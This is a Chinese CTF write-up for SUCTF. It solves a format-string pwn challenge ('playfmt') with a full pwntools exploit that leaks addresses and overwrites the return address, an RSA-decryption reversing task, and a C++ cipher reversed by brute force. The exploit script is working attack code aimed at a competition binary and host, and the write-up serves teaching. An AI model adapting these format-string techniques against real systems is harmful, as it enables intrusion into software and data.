CTF比赛 January 03, 2020

SUCTF二进制部分wp

Words count 28k Reading time 25 mins. Read count 0

前言

这场比赛打了2天,学到了东西,在这里做下总结,方便后续学习。

一、Pwn方向

1、playfmt

这次的pwn题很不友好,只有这题能做,菜鸡Orz,先检查保护机制:

1566313002289

got表不可改,堆栈不可执行,看名字知道是格式化字符串漏洞的题目~ida分析一波:

1566313270294

可以看到申请了堆块去存放flag的内容,然后进去logo函数的do_fmt函数,里面有格式化字符串漏洞:

1566313050085

漏洞点就是格式化字符串,这里能读入0xc8字节,而且是个死循环,除非你输入quit手动退出,很明显了,但是buf不是栈,是bss段地址,也就是格式化字符串写bss(lab9做过),写bss段,就是写指针,需要泄露出stack地址才能进行操作,所以利用思路就有了:

由于本地没有flag文件,所以要自己先创建一个,内容随意~然后步骤:

1、泄露出真实地址、栈地址、堆地址

2、往ret位置写入onegadget去getshell,或者ret填printf的地址外加参数填flag的堆地址去打印出flag(比赛时一开始看到flag在堆上就想着打印,所以用了第二种方法)

这里用双字节写入的方式,一步一步地构造好栈的布局,然后quit就直接搞定了~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='i386', os='linux')
local = 1
elf = ELF('./playfmt')
if local:
p = process('./playfmt')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6

# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

py = ''
py += "-%6$p-%18$p-%23$p-"
#bk(0x080488A4)
ru("=====================")
sl(py)
ru("-")
ret_stack = int(ru("-")[:-1],16) - 0x1c
print "ret_stack--->" + hex(ret_stack)
flag_heap = int(ru("-")[:-1],16) - 0x18
print "flag_heap--->" + hex(flag_heap)
main_addr = int(ru("-")[:-1],16) - 247
libc_base = main_addr - libc.symbols["__libc_start_main"]
onegadget = libc_base + 0x5fbc5
print "main_addr--->" + hex(main_addr)
printf_addr = libc_base + libc.symbols["printf"]
print "printf--->" + hex(printf_addr)

# py = "%" + str(ret_stack&0xffff) + "c%6$hn-"
# py = py.ljust(0xc8,"\x00")
# sd(py)
# py = "%" + str(onegadget&0xffff) + "c%14$hn-"
# py = py.ljust(0xc8,"\x00")
# ru('-')
# sd(py)
# py = "%" + str((ret_stack+0x2)&0xffff) + "c%6$hn-"
# py = py.ljust(0xc8,"\x00")
# ru('-')
# sd(py)
# py = "%" + str((onegadget&0xffff0000)>>16) + "c%14$hn-"
# py = py.ljust(0xc8,"\x00")
# ru('-')
# sd(py)

py = "%" + str(ret_stack&0xffff) + "c%6$hn-"
py = py.ljust(0xc8,"\x00")
sd(py)
py = "%" + str(printf_addr&0xffff) + "c%14$hn-"
py = py.ljust(0xc8,"\x00")
ru('-')
sd(py)
py = "%" + str((ret_stack+0x2)&0xffff) + "c%6$hn-"
py = py.ljust(0xc8,"\x00")
ru('-')
sd(py)
py = "%" + str((printf_addr&0xffff0000)>>16) + "c%14$hn-"
py = py.ljust(0xc8,"\x00")
ru('-')
sd(py)

py = "%" + str((ret_stack+0x8)&0xffff) + "c%6$hn-"
py = py.ljust(0xc8,"\x00")
ru('-')
sd(py)
py = "%" + str((flag_heap)&0xffff) + "c%14$hn-"
py = py.ljust(0xc8,"\x00")
ru('-')
sd(py)
py = "%" + str((ret_stack+0xa)&0xffff) + "c%6$hn-"
py = py.ljust(0xc8,"\x00")
ru('-')
sd(py)
py = "%" + str((flag_heap&0xffff0000)>>16) + "c%14$hn-"
py = py.ljust(0xc8,"\x00")
ru('-')
sd(py)

ru('-')
sl("quit")

p.interactive()

这里我利用了一个小技巧,就是“-”作为接受符号,这样写入完成后才继续下一个,保证写入时正确写完,接受地址时也很方便~但是这题坑点就是远程一开始打不通,因为libc版本不对,是libc.2.23.so,要自己去一个个查(扎铁了,老心),下面是调试图:

1566314493278

1566314536748

1566314589525

二、Re

1、signin

1566314755453

这题一看很大的数字,然后输入就是flag,关键函数是powm函数,去查了下这个函数是干嘛的,发现实现的操作就是RSA的加密过程,v6的v5次方对v4求余写入v6,cmp一下v6和v7,除了v6,其他值都是知道的,那么写一下公式:

v6^65537 mod (103461035……)=(0xad939ff9….)

一看这不就是RSA吗?还是最简单的那种,直接分解n然后解密得到明文v6就是flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import gmpy2
import libnum
n = 103461035900816914121390101299049044413950405173712170434161686539878160984549
p = 282164587459512124844245113950593348271
q = 366669102002966856876605669837014229419
c = 78510953323073667749065685964447569045476327122134491251061064910992472210485
e = 65537
def computeD(fn, e):
(x, y, r) = extendedGCD(fn, e)
#y maybe < 0, so convert it
if y < 0:
return fn + y
return y
def extendedGCD(a, b):
#a*xi + b*yi = ri
if b == 0:
return (1, 0, a)
#a*x1 + b*y1 = a
x1 = 1
y1 = 0
#a*x2 + b*y2 = b
x2 = 0
y2 = 1
while b != 0:
q = a / b
#ri = r(i-2) % r(i-1)
r = a % b
a = b
b = r
#xi = x(i-2) - q*x(i-1)
x = x1 - q*x2
x1 = x2
x2 = x
#yi = y(i-2) - q*y(i-1)
y = y1 - q*y2
y1 = y2
y2 = y
return(x1, y1, a)


def getm(p,q,e,c):
n = p * q
fn = (p - 1) * (q - 1)
d = computeD(fn, e)
m=hex(pow(c,d,n))
m = str(m).replace('0x','').replace('L','')
return m.decode('hex')
print getm(p,q,e,c)

1566315186946

2、hardcpp

这题有点东西,踩了一个下午坑才搞出来,ida分析一波:说句实话,此题几乎是动态调试出来的,静态我搞不定~~

1566315269115

发现了一串16进制的数字,然后转了字符也没东西,直到最后解出来我都不知道这个有什么用,就跳过了。。。看到fget输入21size的字符串,然后设置了time(0),这里v38和v49就是时间差,这题的逻辑分析,静态一下你会发现很恶心,很多while:

1566315455036

差点想关ida,然而想了下,还是忍忍吧,逆向需要耐心,终于来到了最里层

1566315492692

由于是用C++写的加密算法,所以我根据功能重命名了下,好看些,写着jiami的都是没看懂它在干嘛的(静态真的分析不懂,菜是原罪),然后动态调试跟汇编调出来每一个加密都在干嘛,就把注释也写上去了,下面具体讲下我的注释都是怎么调出来的:

首先要运行需要装个libc++的库(C++语言写的程序依赖库):

装库命令:sudo apt-get install libc++-dev(谷歌能解决的问题最好别问为什么~)

下面是动态调试:

先输入我们的21位字符,为了方便看我顺序输入:

1
sl('abcdefghijklmnopqrstu')

1、判断能进去while循环里层的条件:

1566315940037

断点下在计算时间差那里,通过修改时间差为0才能进入while最里层(为什么?因为经过不断调试才发现后面的跳转条件需要满足为:时间差为0,搞这个就花了很多时间。。。)

命令:set $rsi=0,然后在主逻辑0x400dd3处断下来

1566316077002

1566316651803

下面开始跟汇编看第一个算法xor:

1566316809858

可以知道rcx(input[idx])是我们输入的第二个字符,所以,idx=1,同时rdx为0(v38),我们知道A^0=A,所以得到第一步加密结果,注释为:// idx=1,从1开始,v35=input[idx]

这里需要记住打逆向的一个小技巧,函数的返回值都是放在rax(eax)寄存器的,那么这个寄存器放的就是加密后的结果,copy那个静态都能看出来,就不分析了,mod也是,xor和cheng也一样,顾名思义的东西,重点看下jiami算法:

1566317328914

又是一堆很长的加密,没看懂,不会,动态调试看返回值~

第二个算法:jiami1

1566317713662

一步步跟汇编,这里要知道pwn的一些知识,函数调用前,因为64位的,所以前2个参数放在rdi和rsi寄存器中,函数返回值放在rax中,看下jiami1:

1566317900186

上一个函数mod的返回值是0x6,rdi放0x62(input[1]),rsi等于mod的结果,ni一下:

1566317995867

发现变成了0x68,貌似0x62+0x6=0x68?(一开始也是猜,先写了再说~)

因为后面还有jiami1算法的实现,最后调试时知道了原理:

jiami1(a,b)—>返回值为(a+b)&0xff

同理一步步调试可以知道jiami2原理:

jiami2(a,b) —–> 返回值为b

jiami3(a,b)——>返回值为b

最后得到一开始的图:

1566318443168

v15=(((input[idx-1]^18)*3+2)&0xff)^(input[idx-1]%7+input[idx])

v15就是最后的加密结果,发现它和enc数组有个cmp,提取出enc的内容,那么算法就逆向完了,很容易想到,input就是flag,现在我们需要逆向这个算法,简单分析下,就是input的01,12,23,34,45这样每两两进行加密得到一位密文,我自创命名它为堆叠移位加密,好了知道加密算法,但是直接逆比较复杂,想到爆破法!我们知道flag长这样:flag{xxxxxxxxx}

所以可以写个深度搜索算法去自动找匹配,失败了返回上一层,成功了继续爆破,直到跑完就能得到flag,但是打比赛时没写出来深搜(数据结构没学好哎),用一种比较捞的方式出了flag,半自动化猜,就是知道前一个,可以爆破出后一个是什么,知道{就可以爆破出下一个……..或者翻过来,知道}可以往回推倒数第二个,推倒数第三个……

这里用逆推法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#idx = 1
#v15=(((input[idx-1]^18)*3+2)&0xff)^(input[idx-1]%7+input[idx])
#enc[idx-1]=v15
enc = [0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C, 0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5]
#v = "f"
#v = "l"
#v = "a"
#v = "g"
#v = "{"
#v = "m"
#v = "Y"
#v = "-"
#v = "C"
#v = "u"
#v = "r"
#v = "R"
#v = "1"
#v = "e"
#v = "d"
#v = "_"
#v = "F"
#v = "n"
#v = "s"
v = "}"

k = len(enc)
for i in range(32,127):
code = (((i^18)*3+2)&0xff)^(i%7+ord(v))
if code==enc[k-1]:
print chr(i)

这里解的过程可能会有分支,但是只有一条能出flag~后面写了深度搜索脚本再更新。

0%